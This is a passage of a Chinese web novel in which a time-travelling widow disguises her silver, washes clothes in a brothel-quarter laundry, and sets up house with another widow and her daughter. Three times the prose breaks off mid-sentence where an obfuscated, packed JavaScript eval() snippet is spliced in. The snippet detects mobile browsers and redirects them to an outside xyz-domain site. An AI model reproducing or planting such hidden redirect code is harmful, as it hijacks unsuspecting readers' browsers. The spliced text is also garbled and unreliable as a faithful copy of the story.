细姑只听见了“过几天”、“搬走”之类的,她心里盘算着,等他们搬走了,自己要不要把隔壁租下来。 第二天一大早,丁丽娘就带着刘月儿出门了,细姑还在睡觉。 出门前,丁丽娘把细姑叫醒嘱咐她:“大姐,我带着月儿去云来客舍上工去了,你中午睡醒了就去昨天的桥那里等我,我带你去枇杷巷。” 细姑点点头,又睡去了。不多时,又被尿憋醒,不得不起的。 这处院子窄,没有茅房,细姑出门绕了好大一圈才找到公用的茅厕。 她差点臭晕过去。 这是天字第一号茅房! 细姑到底还是捏着鼻子上了,也打消了租下丁丽娘隔壁的想法。 她不想用公用的茅厕,也不想和刘月儿一样用盆子接尿。 现代社会的抽水马桶此刻成了她心里的白月光。 回到小院,只剩她一人,隔壁也早就出门上工去了。 冷水洗脸漱口后,细姑蹲在墙角的砖头旁,看着砖堆里的草木灰,陷入了沉思。 这玩意儿它是碱性的吧?用它来氧化银子可不可行? 她拿出五个银块——昨晚空间有准时又“发”了一块。 将银块丢到装有草木灰水的碗里,等待它们氧化变黑。 “好慢!” 细姑等了半天,捞出一个看看,结果看起来只是黯淡了一点点的,真的只有一点点。 她心道:看起来是银子太大了,所以反应慢。 她拿着银块在衣服上面蹭蹭干净,放到嘴里,刚咬了两下就停了下来——人的牙齿是用来咀嚼食物的,用来咬银子还是太为难了。 细姑托着牙齿酸软的腮帮子,眼睛四处逡巡,寻找能帮她弄开银子的物件——砖头,木棍…… 有了! 丁丽娘床底下还有把镬了口的菜刀! 借出菜刀,细姑先把银子放在砖头上,用刀把一点一点地将银子砸得扁平一些。 一阵沉闷的“亢!亢!亢!”声后,她拿起被砸得坑坑洼洼的扁块,吹掉上面的砖灰,上下左右地看了几眼,满意地点点头。 “嗯!” 这银子总算看起来土了一点。 细姑又挑出一根粗些的木柴,把银子放在上面,用刀切成一小块一小块。 切的过程,细姑小心翼翼,既怕伤到了自己的手,又怕崩坏了了丽娘的刀。 每个银子都被分成七八块块,小的半个小指甲盖那么大,大的也只有半截拇指大小大。 几十块银角子一起投进了罐子里。 细姑给罐子里重新添上草木灰和水,还不忘拿筷子搅和搅和。 等忙完这一切,细姑站起来抻腰揉肩。 这搞银子掺假氧化的工作也怪累人的! 她估摸着时间,大概还有半个时辰多点就该午时了,肚子已经饿得咕咕叫。 细姑把碎银从罐子里取出来。 银子表面已微微泛起一层浅浅的灰色。 再来两三回,这新银做旧的事也就差不多。 她把银子包起来又揣到了衣服兜里。 翻出仅剩的三四十个铜板——后面几天吃饭就靠这点钱了。 8. 枇杷巷 比起丽娘租住的巷子,枇杷巷宽敞得多,也整洁得多。 凭河而立的小楼,与宁州书院隔河相望。 细姑她们从珠市过来不远。 珠市那边汇集了南来北往贩卖珠宝货物的商客,生意人多,自然也有唱曲陪酒的歌女,但是到底和枇杷巷这边不同。 或许是白天还不到时间的缘故,枇杷巷这会儿颇为清净。 也有开门做生意的铺子,看着都是正经生意,来的自然也都是正经人。 来的路上,丁丽娘跟细姑说好:“王大姐,这儿赚几个钱,名声可不那么好听。” 细姑浑不在意,“我一个平头百姓,先吃上饭再说,而且男人都没了,好名声要来有什么用?” 细姑其实更多好奇,于是转着脑袋四处看。 这地儿跟她看电视剧里的可不太一样,太像个正经地界了。 楼房宅院不论大小,从外面看去都十分齐整。 路上铺着青砖,少有尘土。只是砖路叫人踩的多了,磨出一种青灰色的光洁感。 说是巷子,走进来后里面道路颇多,缠绕交错,时不时能看到一些养在盆里的花草树木,这个时节只有梅花开着——细姑看到了一株白梅,走得老远还能闻到香气。 路上多有女子。只是白天时间里大多是细姑丽娘这样的做劳力的妇人,年纪大些的更多,都是来这富贵销金窝里混口饭吃。 偶有一些年轻的妓女走过,便立马显出不同来。 妓女们的穿着打扮更加的鲜妍入时,香气扑鼻而来,男人们只要一看见她们便立刻向她们投去炽热的目光。 这些女子或视而不见,泰然处之;或回之一笑,仿佛只一眼就对这些男人钟情起来。 细姑看得津津有味,不是丁丽娘拉着,她能在这里看一天。 她们最终在河边一栋二层高的砖木楼前停下,但她们不是进这栋楼,而是进了不远处的一座青砖墙的院子。 院子里来得早的人早就忙活开来,一人分了一个盆子和几件衣物。 这些人就在这院子中间,大太阳底下洗衣物。 洗好的衣物都晾在墙边的阴凉处。 细姑好奇,便向丁丽娘问道:“这里衣服在墙角晾着,不用晒太阳的?” 穿来的这段时间,她也没看到外面有谁家是这样晾晒衣物的。 丁丽娘微微摇晃了一下脑袋,没看细姑,小声道:“这里的衣服娇贵,见不了光的。我刚来的时候也不知道。” 细姑随着丁丽娘往前走的时候,忍不住回头向那些晾在围墙阴影里的衣服看去——同平民百姓的衣服那沉实又单调的颜色不同,这里的衣服颜色鲜亮极了,一看便知价值不菲。 于是院门口站了两个看门的院保,防的就是有人趁着洗衣,把衣服私藏起来,转手卖掉。 丁丽娘把细姑领到了一个管事模样的人跟前,恭敬道:“韩娘子!” 那个韩娘子,四十左右的样子,皮肤很白,一双下垂三角眼,嘴巴薄得看起来只有两条红红的线,脸型很不错,年轻时必是个瓜子脸,但是现在年纪大了,两腮的肉都垂到嘴巴下面,看起来很不好说话。 那韩娘子张口的时候不看丽娘,先看刘月儿,“哎呦!小月儿今天来了,昨天怎么没来,这一天没见就叫妈妈想得慌,快来叫妈妈看看!” 韩娘子热情得诡异,刘月儿一见她就躲到丁丽娘身后,再不肯露头说一句话。 丁丽娘一只手弯到身后护住女儿,一只手指着细姑,道:“韩娘子,这是我夫家的嫂子,姓王,今天跟我来上工,劳您给看看!” 细姑闻言,上前用身体把刘月儿挡得严严实实 。 韩本就下垂的脸立刻拉得更长,拿眼上下扫了扫细姑,一扬下巴,“手!” 细姑赶忙把手伸了出去。 “行了,你去旁边领两件细绸衣裳去!”韩妈妈转头对另一个婆子道:“九指婆!给这个新来的拿两件新衣裳,这个手干净!” 又转头对细姑道:“洗的时候要仔细,用手细细地搓,不仅要洗干净还得洗匀,要是东一块西一块的洗坏了,把你卖了都赔不起,听到没有!” “听到了!听到了!”细姑点头哈腰,很识时务的样子。 她觉得自己在玩角色扮演! 韩娘子不再理睬细姑,对丁丽娘道:“今天还有两件红罗帐,你去洗了!” 罗帐是大件,洗一件十几文钱。 “多谢娘子!多谢娘子!”丁丽娘领着女儿欢喜地去了。 细姑工作之后就再也没有手洗过一件,大到床单被套,小到内衣内裤、袜子鞋子,都有专门的洗衣机。 而且她没穿过丝绸做的衣服,今天第一次知道丝绸摸起来如此滑腻,尤其是湿了水后,简直像蛇一样。 细姑脖子后面的汗毛都竖了起来! 细姑洗衣服的样子实在笨拙,叫丁丽娘看不过眼,于是手把手地教她,“你先这样,把有脏污的地方拿在手里,顺着布料的纹理来回地搓洗。洗的差不多了,再把料子拿到水里来回荡两遍,荡完再洗,洗了又荡,两回就差不多了。要慢,快了容易扯出丝,衣裳就废了!听懂了没?” 细姑跟着丁丽娘的教学,眼睛也忙,手也忙,耳朵里听进去了,脑子根本来不及思考,只是一味地点头应声。 丁丽娘也不在意,她还有两个大件要洗,最多分神多看看女儿,不时嘱咐道:“月儿,不要乱跑,就在娘跟前,听话!啊!” 平日叽叽喳喳活泼好动的刘月儿,在这院里安静得仿佛不是个小孩子,只乖乖地蹲在母亲盆边,拿着不知道从哪里找到的小石子,在院子的青砖上划来划去。 听见她娘的话,黑眼珠子往上翻一翻,看她娘一眼,又去玩自己的石子了。 细姑丽娘干得热火朝天,韩娘子不知道什么时候转到了她们旁边,她看了一会儿,才道:“丽娘,你说你这是何苦呢?” 细姑一头雾水,丁丽娘慌忙地把手在裙子上蹭了蹭,束手站在一边,头都不敢抬,“娘子怎么来了?” 韩娘子嘴角挂笑,“你说你,手捧着金山银山不用,自己找什么苦吃!” 一边说一边看着蹲在地上玩耍的刘月儿。 “不说远的,就说最近,那个红了半边天的楚邀姑娘,不是几年前她娘老子狠下心,把她送到咱们这儿来学跳舞,一家子怕是都要饿死。如今怎么样?去年中秋才上的场子,才几个月就成了歌舞班的台柱子。现如今还没开始接客,就已经是大宅子的住着,出门车马轿子的坐着,绫罗绸缎金银珠宝就更不必说了。前两天她老子死了,那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488900|185765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些个旧情恩客还上门吊唁,这是多大的脸面!” 丁丽娘低头木着脸,一声不吭,不敢反驳,她还得靠着韩娘子赚着这几个洗衣钱。 合着这韩娘子看上了刘月儿!这是在点丽娘呢! 细姑恍然大悟,随即在心里骂道:为虎作伥的东西,真是禽兽不如!刘月儿才几岁?! 刘月儿看韩妈妈一步步逼紧自己的母亲,站起身来把韩妈妈推走,伸手挡在她娘的身前,“这是我娘!”。 小姑娘怒目而视,韩娘子老神在在。 她知道这丁丽娘一时半会儿是劝不动的,转着手里的香帕子,意味深长地看了刘月儿一眼,“小丫头,你倒是有个好娘!” 这钱赚得真是堵心!细姑深吸一口气。 丁丽娘没有说什么,只是更加沉默地洗她盆里的罗帐。 旁边不知道谁说了一声,“莫舍不得女儿!那男孩儿做小倌挣起一份家业也不少的!” 细姑听到这话,四处望去,想找出说话的人来,却见一个个都在低头洗衣,哪像是有人在说话的样子。 刘月儿在一旁连石子都不玩了,细姑看她一人小人在那里独自生闷气,也不忙着洗衣服,拿手指朝刘月儿脸上弹水珠。 一开始,刘月儿还绷着个脸,没一会儿就忍不住闷笑起来。 三心二意的结果就是挣不到钱。 细姑忙着安抚小孩子的情绪,衣服只洗了两件。等到下工的时候只领到了十文,勉强够一天的饭钱。 领完钱,想出去,还排队,等这边的婆子,一个一个的搜过身,确定来人没乱拿东西,才能离开。 细姑心想:这可比进来的时候严格多了,幸亏把碎银扔回了空间里,不然叫人搜出来,哪怕能解释,也是个麻烦。 很快到了丽娘跟细姑。 来这里洗衣裳的没几个年轻妇人,丁丽娘是这里面最年轻漂亮的。 婆子给她搜身的时候,旁边看门的院保们饶有兴致地盯着丽娘看,一个个抱着胳膊笑嘻嘻,色眯眯。 偏那婆子也是,跟着那群看门的起哄,其他人三五下搜完的身子,到了丽娘这里是怎么都搜不完。 丽娘没有反抗,只能僵直身子握紧拳头,一脸敢怒不敢怨。 这番样子让那几个院保更加兴奋,于是更加肆无忌惮地调笑起来。 “这衣服怎么这么厚!”婆子装模作样地抱怨,说着就要把手从丽娘的衣领子里伸进去。 见情况不好,细姑一把推开丁丽娘,挤到拿婆子面前,迫不及待道:“妈妈,怎么这么久,要不你先搜搜我的。” 细姑生得高,与这个时代寻常男子差不多,常年在乡下,皮肤粗黑,又是一副没脸没皮巴不得叫人摸了个遍的样子。 几个院保看到这副情景,立马兴致索然,一个个收敛起来,登时又是几条看门护院的好狗。 而那婆子见几个院保都没了那调笑的兴致,只在细姑身上搜了几下,便放她们几个走了。 走出院门的时候,细姑有一种坐牢终于被放出来的感觉。 几人离开院门刚走了几步,忽听身后有人道:“丁娘子,贺老二折了的胳膊已经养的差不多,过几日便回来上工!” 丁丽娘身子一顿,不等细姑发问,便拉着她与刘月儿快步地离开了。 9. 烦忧 贺老二是谁? 细姑晚一点回小院里,啃着萝卜丝油饼的时候知道了。 这贺老二原是城外贫民窟的泼皮闲汉,家贫业薄,父母年纪老迈,疏于管教,整日里招猫逗狗、惹是生非,是个打架不要命的主儿。 后来不知怎么到了繁金楼做了院保,平日里迎送客人,平息是非,颇有几分手段,因此得了繁金楼大当家朱娘子的青眼,在那些龟公院保中很有几分脸面。 要说这枇杷巷里年轻漂亮的女人多得是,可是一则这些女人价高,二则贺老二是想正经娶个媳妇,所以丁丽娘进洗衣院子没几天,就叫这贺老二瞧上了,要讨她回家做老婆。 丁丽娘自然是不愿意的,她是个正经踏实过日子的女人,但是周围人都在劝她——你是寡妇再醮,不是黄花大闺女选新婿,更何况你还有个拖油瓶! 女人总是更会劝解女人,尤其是青楼里那些个婆子。 丁丽娘叫她们说得心烦意乱! “王大姐!你也觉得这贺老二,我该嫁给他?”丽娘问道。 油饼香得细姑根本停不下来,但听到这句话,她赶紧举起双手以示清白,“我有什么好觉得的,我觉得他吃起来肯定没有这个油饼子香!” 丁丽娘“噗嗤”一笑,“你也真是!你一天才挣几个钱?买这三个巴掌大饼子就去了五文钱!” 刘月儿不乐意了,拍她娘的腿,“油饼好吃!” 细姑拿眼睇着丁丽娘,一脸“你看!没错吧!”的表情。 丁丽娘不理这两个馋鬼,拿勺子慢慢地搅着罐子里面的白粥。 搅了一会儿停下来,看着细姑说道:“大姐,你来这儿的时间短,不知道这帮院保龟公的底细。这些人平日里好吃酒赌钱也就罢了,多得是在外头吃瘪受气回去拿着着妻儿撒气的,又那些有老婆的,老婆做暗门子的也不少。我带着月儿,要是嫁给这样的人,以后哪还有活路!” “那你还去那里洗衣服?” 丁丽娘叹了一口气,“那里挣得多些,一个月下来能有三四百文钱。我想着多少攒一点,以后给月儿拜个师傅,学门手艺,再不用像我这样,一点本事没有,只能受穷吃苦。” 细姑油饼子吃完了,心说:傻姑娘诶!你还想攒钱!小的叫繁金楼的韩娘子看上了,大的叫给混青楼看大门的看上了。也就他们现在还有点耐心,等他们耐心用完了,怕是难哦! 后面一连三日,上午细姑在租的小院里倒腾着银子做旧的事情,中午和丁丽娘一起,到枇杷巷浣洗衣服,下午赶在巷子里人多起来之前离场。 几天下来风平浪静,无事发生。 只是这几天挣的几个钱都叫细姑吃掉了,丁丽娘总忍不住去说她:要节省一些! 细姑充耳不闻,每日照旧买各种吃食与刘月儿分享。 丁丽娘见说不动她,也不要她递过来的的伙食费,她便每天晚上跟着母女俩喝一顿菜粥。 三四天下来,银子也做旧的差不多,从外观上看比市面上流通的碎银还要差一些。 细姑现在犯愁的是自己这银子花出去有没有问题,毕竟自己只能做旧外观,内里掺点杂质确实是做不到。 晚上想得实在睡不着,她干脆自暴自弃地想:花不出去就埋到土里去! 这天一早起来,天色就不对,阴沉沉的。 细姑看着外头天色,对丽娘道:“丽娘,看天气,今天怕是要下雨,咱们今天还去枇杷巷么?” 丽娘回她:“下雨天不去!今天我带着月儿去云来客舍,把事情做完就回来!” “哦!这样!那我今天自己出门转转!” “好!” 细姑出门,先去了二手成衣店买衣服。她跑出来的时候什么衣物都没带,从里到外只有一身衣裳,外面的衣服也就罢了,里面的衣服好些天没换实在叫人受不了。 晏州城各个小巷里卖二手成衣的小店颇多。 细姑在一个叫“顾家二手衣”的老街铺子前停下。 店主是一个头发半白的妇人,一身衣服看着虽旧,但整齐干净,看见店里来人,立马放下手中的针线衣物,招呼道:“客人要买点什么衣服?” 细姑开门见山,“我要里面穿的衣服,抹胸肚兜,还有那个叫什么……”细姑卡壳了,“那个,嗯,就是下面穿的,叫什么来着?”她不知道这古代人管内裤叫什么。 “小衣!”店主接道。 “啊对!小衣!这个有没有新的?我要一件新的!” 店主满脸堆笑,“有的!有的!您看看这几件”说着拿出好几件绣着各种花鸟的抹胸肚兜和小衣。 这也太花了! 细姑赶忙摇头摆手,道:“不不不,不用这么好看的,就白色,白色的就行,最简单那种,什么花啊草啊都不要!” 她上辈子瘦得根本没胸,天气冷一点,连内衣都不穿,,现在要她穿这么花哨的内衣,她穿不了。 什么花样都不要,这叫店主为难住了。 抹胸或心衣外露是宁州女子风尚,上面绣的花样子更是攀比得厉害,这陡然来了一个什么花样子都不要的,这要去哪里找? “您赶不赶时间?”店主不想失去这个客人,“您不赶时间的话,我给您现做两件,这个做起来很快的,明天就能好。” “也行,多少钱?”细姑想了想,同意了。 难得遇到这么大方不墨迹的客人,“我先给您量个尺寸,看看要用多少子料?” 店主拿着一根尺子给细姑量了起来,细姑乖乖配合。 “五尺布料足足了!您要什么布?就那细棉布,成不?” “行!多少钱?” 店主算道:“松州那边来的上等细布,一尺十五文,五尺七十五,手工不值钱,算你二十五文,一共一百文钱。” 细姑从怀中掏出钱来,几角银子和几十文铜钱,想了想,铜钱等下还要买东西吃,于是捡了一个最小的银角递给店家。 店家捧着银角,很不好意思,“您看,这事儿闹得,我这儿店小,没有那称银用的小称,您要不等我去借个称来?” “不用!你看着做,做好了就行,我明天来拿!”那么大年纪还得做活,细姑不想跟老人家计较这几个钱,而且这银钱能直接用出去,比自己拿去兑换铜钱可方便多了,所以多一点少一点也就无所谓。 从二手成衣店出来,无事可做的细姑同样无处可去。 只好沿河乱走,不知怎么就走到了枇杷巷附近,等她反应过来的时候,忍不住自嘲一笑。 天上开始下雨。 细姑躲到一家点心店。 枇杷巷的铺子少,这个时辰开门的铺子就更少。 店家只当细姑是来躲雨的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488901|185765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 由她在门口站着。 细姑一路走来什么也没吃,此时肚子饿得厉害,看见店铺招牌上“上等细点”几个字样,开口问道:“店家!我肚内饥饿,你家有什么吃的?” 店主没想着细姑会买东西,听见细姑发问,赶忙出来相迎,“我这儿多有怠慢,娘子您莫怪罪!我们这儿啊,都是上好的细点,肉松饼,荷花糕,松子饼,太史饼,状元糕……都在这墙上写着呢,您看您要那样?” 店家报了一串名,她一个也没搞懂,“我不爱吃甜的,有肉馅的没有?” “诶!有!有火松饼,里面是火腿肉和上好的猪肉松,里面刚烤出来,还热乎着呢!” “那就这个!” “好嘞!”店家从里间端出一个竹编笸篓,里面整齐地堆叠着小山一般的点心,孩儿拳头般大小,金黄起酥,香气扑鼻。 “二十文一个,您要几个?” “这是一个二十文钱?”细姑用手指着笸箩里面的点心,惊讶地看着店家。 这些日子,她对大齐的物价多少有了点数,二十文钱在别的地方够买半斤点心。 这里一个就要二十文钱!? 细姑第一次来,店家耐心道:“没错!我家这店传了三代人,从来就是这个价。您尝尝!”店家掰了半块给细姑。 它值这个钱! 尝过一口之后,细姑没有半点犹豫,立刻从兜里找了个大块的银角子递给店家。 店家心道:这大姐穿着一般,看不出来,倒是个不差钱的主儿! 脸上还是堆着笑,“您等着,我去给您称银!” 称银的小称被店家提起,秤杆抻得平直,“五钱四分六厘!”再拿剪刀剪开一个角,“您这银子水头足,算五百六十文钱,您看您要几个点心?” “都换成这个火松饼!” “好勒,二十文一个,五百六十文,算您二十八个!” 细姑点点头,“拿两个出来,我现在吃。剩下的二十个包一包,我拎走,另外五个包个小的,我晚点来拿!” 这饼子咸甜适宜,满口生香,细姑又拿了两个吃起来,边吃边想着:这银子弄得小一点、旧一点,花起来也不算麻烦! 雨下了不到两刻,小了一些,细姑拎起二十个油纸包好的火松饼,也不要伞,就那么顶着小雨,去了平时洗衣的院子。 院门锁着,门口没人。 细姑听见里面有呼喝笑闹的声音,趴在门上从门缝里看去,就几个婆子妇人正聚在屋檐廊下,围着一张桌子,好不热闹! “啪!啪!啪!”细姑用力拍门。 “谁呀!”来开门的是平日里分发衣物的九指 婆。 九指婆认出了细姑,道:“今天下雨,不洗衣裳,你白来,回去吧!” 细姑连忙提起手里的东西,“下雨,我没处去,就买了点心,过来看看!” 九指婆看了她手里的油包纸倒是笑了,“呦!巷口曲桥刑家的点心,可不便宜!” 这话细姑认同,“那可不是!我闻着味儿去的,谁成想那么贵!不过这家的确是好味道,我还从没吃过这样好味儿的点心!” 九指婆哈哈一笑,“你倒是嘴尖!” 说罢,侧身把门缝开了一些,叫细姑进去,又探出头左右看了看,见四下没什么人,啪的一声,又把大门关上了。 10. 葛九 院子里,不分老少,围了十几个人在那里押宝。 细姑看不懂这些,只看着那么多人围在一起,口中呼喝着“中!中!中!”。 赢的搂钱笑得漏出牙花,输的猛拍大腿懊恼不已。 细姑心说:古今赌钱的情形都差不多。 九指婆递了一碗茶水给细姑,“怎么?有兴趣?玩两把?” 细姑接过茶水,摇头道:“我不玩!” 九指婆也不劝她,只去给众人分细姑带来的火松饼,众人得了细姑的好处,对她也露出两分好意,给她让了点位置,叫她看得清楚些。 桌子四边画了四个圈,圈里分别是“东”、“南”、“西”、“北”,每个字上面都押着不少的银角铜钱。 上首一个妇人手里拿着竹筒做的色盅,“哗啦”“哗啦”地上下摇晃,口中不时招呼,“快押!快押!” 待众人押好钱财,那妇人把色盅在桌上按住,眼睛在周围巡了一圈,“开!” 两个骰子,一个三点一个两点。 “嘿!南!是老娘的!”刚才只有一个婆子押了“南”。 赢家通吃,那婆子不紧不慢,一个接一个地把各边的银钱搂到自己怀里,神情十分得意,“今日下的果真是场送财好雨!” 细姑瞧见婆子胸口处有些鼓胀,想来是赢了好些个钱财。 有赢钱的就有输钱的,那输了钱的自然十分不耐烦这婆子的做派,只是人多不好发作,便大声嚷嚷:“再来!再来!” 闹哄哄的! 不管输的赢的,一个个赌性上头,两眼通红,口沫横飞。 细姑看不下去了,她觉得头晕,从人堆里头挤了出来。 雨又大了起来。 廊下墙边有土簸箕和扫把,细姑拿起来,把众人吐在地上的茶叶和瓜子果皮扫走。 九指婆管着洗衣院,旁人在她这里赌钱,她算是东家,要抽流水的。 她围着众人添茶递水的时候,一转眼就见细姑再给她扫地,心道:这还真是个老实人! 老实人细姑扫完地,又闲了下来,没事做,就蹲在那里研究从屋檐滴下来的雨滴。 啪嗒!啪嗒!一滴接着一滴,落到铺地的青砖上,溅起来的水像花一样。 房檐底下,开了一排的水花。 细姑觉得还蛮好看的。 “你叫什么?”九指婆不知什么时候忙完了,到细姑边上,递了一个四脚矮凳来。 正好蹲得腿麻,细姑没拒绝,接过凳子塞到屁股底下,答道:“我姓王,王细姑!” “怎么不去玩两把?” “我这人运气不好,只有输的,没有赢的。”这是实话,细姑上辈子跟人打麻将,打了半天只能赢个一两局,连买彩票和刮刮乐也只中过几回五元的,总之在跟赌有关的事情上,细姑算是血本无归。 没人喜欢总是输钱,输多了之后,她再也不想玩了。 九指婆却说:“那你命好!” “啊?”细姑不解。 九指婆抬起自己的左手,上面少了一根小指,“我就是命不好的,一开始总是赢,赢得太多了,最后赔了一辈子积蓄不算,连手指头都赔进去了!” “疼吗?” “疼!十指连心怎么不疼!早知道戒不掉,我就不切这根手指了”说到后面一句,九指婆的声音低了下去。 细姑心中暗暗咋舌:你们戒赌的都玩这么大的,切手指! 眼看着话头越说越不对劲,细姑赶忙换了一个,“韩娘子今天没来?” “韩老二楼里管钱的,平时数她最忙,哪有时间过来?” “今天下雨天还忙?路上都没人!” 听着细姑这话,九指婆平时垮着的脸也漏出一点笑意来,指了指头顶的天,道:“你当这儿是什么地方?莫说下雨,就是天上下刀子,也挡不住那些有钱人来这儿消遣使银子!” 人群一直玩到下半晌才散去,留下了一地狼藉。 细姑留下帮着归置桌椅凳子,九指婆扫地。好在地方不大,没费什么功夫就忙完了。 “葛娘子!”细姑刚知道九指婆姓葛,“我走了!” “走吧!”九指婆也不留她,忽然像是想到什么,赶紧喊住细姑:“你等下!” “嗯?” “那个丁丽娘,你叫她不要再来了!” 细姑装作不解道:“为什么?” “贺老二回来了,这人前段时间为了楼里闹事的叫人打折了胳膊,现在回来,上头的要提他做个管事,那丁丽娘回来讨不着好!你就跟她说是我说的!” 葛娘子这确实是好话,细姑点头答应下来,“那我先代丽娘谢过您了!” “去吧!去吧!”葛娘子把细姑送出门,又从里头把门关上。 细姑在巷口点心店拿了点心,也回住的地方去了。 雨停了,路上全是水,细姑回到丁丽娘租的小院里,两只鞋都湿透了 。 “你去哪里了?鞋子湿成这样。”丁丽娘问道。 细姑一边脱鞋一边答道:“枇杷巷!” 屋子太小,湿鞋子只能摆到床底下,“没生火吗?” 刘月儿抱着她娘的脖子插话道:“下雨了呀?” “那你们吃了没有?” 刘月儿睁着两只大眼睛,摇摇头,“没有!” 丁丽娘怕细姑以为自己故意没留她的饭,解释道:“下雨了,柴都湿了,没法生火做饭!” 细姑知道她这是怕自己误会,回道:“我也没吃,不过我带了几个点心回来,正好分了!” 她把油包纸打开,露出五个火松饼。 这会儿饼子已经冷掉,没了刚烤出来时那股子扑鼻的香气,即便如此,这火松饼也是寻常百姓家里吃不起的东西。 丁丽娘不认得这点心,但她一看便知这东西金贵,赶忙拦下女儿的手,“大姐,这太贵了!月儿!咱不吃,等下娘去给你买个馒头回来。” 细姑拉过丁丽娘的手,先塞了一个给她,“我一个吃不了这么多,留到明天怕坏,一起吃省得浪费!而且我有事儿跟你说!” 丁丽娘手里拿着点心,还也不是吃也不是,只好先问:“什么事儿?” 大人拿了,再分给孩子就容易多了,刘月儿双手接过细姑分来点心,大声道:“谢谢大娘!” 小孩子就是坦率! 细姑笑着说:“吃吧!慢点儿吃!吃完了,我这儿还有!” 看着刘月儿高高兴兴地吃起点心,细姑才跟丽娘说道:“九指婆让你以后别再去她那里洗衣服了。” “什么!?怎么会?”听了这话,丁丽娘是真吃不下去了。 “你别急!”细姑安抚道,“是贺老二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488902|185765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回来了!九指婆说贺老二回来要升管事,你再去她那里做活,怕是要吃大亏,所以叫你别去了。” 丁丽娘没说话,手里捏着点心,背靠着山墙,低着头,看起来很是沮丧。 “娘!你怎么不吃啊?可好吃了!”刘月儿吃得极为满意,看她娘一口也没吃,急得直催。 丁丽娘摸着女儿的头,声音里带着一点哽咽,“娘现在不饿,等下再吃!” “那你一定要吃!” “嗯!” 丁丽娘正为着以后的生计发愁,细姑在一边道:“你以后跟我搭伙儿过日子吧!” “嗯?”丁丽娘看向细姑。 “你不要误会!不是那种意思!”细姑咽下嘴里的点心,解释道:“你看啊,你是寡妇,我也是寡妇,自己单打独斗,日子都难过。你呢,要养孩子,想挣点钱还要受人欺辱。我呢,孤家寡人,也需要一个伴。不是你想的那种伴啊,就是做个伴的意思。这样,以后租房子养家的钱我来出,你帮我洗衣服做饭,打扫打扫家务什么的,你看怎么样?” 今天上午细姑一个人没处可去,在街上胡乱逛的时候就在想,她一个人,在这齐朝真正算得上是无亲无故,潇洒不潇洒的没什么感觉,孤单寂寞倒是实打实的。丽娘人不错又勤快,刘月儿也很可爱,她们母女生活艰难,自己又不打算再嫁人,而且自带空间每天发“日薪”,生计是不愁的,干嘛不一起生活呢? 现在看着丁丽娘愁得吃不下东西,细姑干脆直说了。 丁丽娘扯了扯嘴角,“你哪来的钱?”有钱你还跟我们挤在这里,这话丁丽娘没说。 细姑从怀里掏出一把自己做旧的碎银角子,和自己剩下的一点铜钱,一起放在床上。 这是她目前所有的家当。 “你哪来这么多的钱?”丁丽娘惊道。 “我运气好,赢的!”细姑撒了个谎。 “你去赌坊了?” “没有,洗衣院那边今天不干活儿,好多人押宝赌钱,我跟着玩了两把。”细姑捡了五六个个银角和一串铜钱递给丽娘。“你要是同意,这些钱你就拿着,剩下的钱我明天就去租个大点的房子。” 现在住的这个地方,细姑是一天也不想再住下去了,光是上厕所就是难题。院子里没茅房,就只能用桶——晚上人睡屋里,桶搁在外头。 还有隔壁,那对夫妻有一点动静,这边听得清清楚楚,尤其是他们夫妻办事的时候,细姑尴尬得脚指头都要打结了,愣是一动都不敢动。 丽娘没接细,她有点蒙,拿起点心小口小口地吃起来,随即又反应过来道:“你叫我想一想。” 细姑直接把钱放在丽娘的床头,把其他钱银钱收起来,继续吃她的火松饼。 一直等到晚上,细姑都快睡着了,丽娘突然轻声道:“大姐,你不是拐子要把我们母女俩拐了吧?” 细姑迷迷糊糊的,“什么?丽娘你说什么?” “没什么!大姐,我答应了!”丽娘把床头的钱收了起来,自己母女两个哪值得别人费这么大劲!王家大姐这个提议,她应了! “答应什么?”细姑困得脑子成了浆糊。 “以后一起做个伴!” 这下细姑反应过来了,“嗷!嗷!嗷!那我明天去看房。” “你睡吧!” “嗯!”细姑翻个身睡了过去。 11. 新宅 昨日下雨,今日天晴。 细姑起了个大早,同丽娘母女俩一起出门。 快到了巷子口,细姑问丽娘,“我今日找房牙看宅子,你有什么想法没有?” 丽娘想了一想,道:“别的倒也没有什么,只是要安稳一些,周围四邻不能有那些个不三不四的人。” 这一点细姑赞同,安全是第一等的要事,不是为了安全,丽娘做什么要在城里租这个又小又破的地方,城外岂不是更便宜。 “那行,剩下的我自己看着办!” “嗯!” 三人路口分别。 脚上穿的还是昨天那双湿鞋,细姑先去买了一双上等布鞋,用了一百二十文钱。 买完鞋又去昨天的顾家二手成衣店拿衣物。 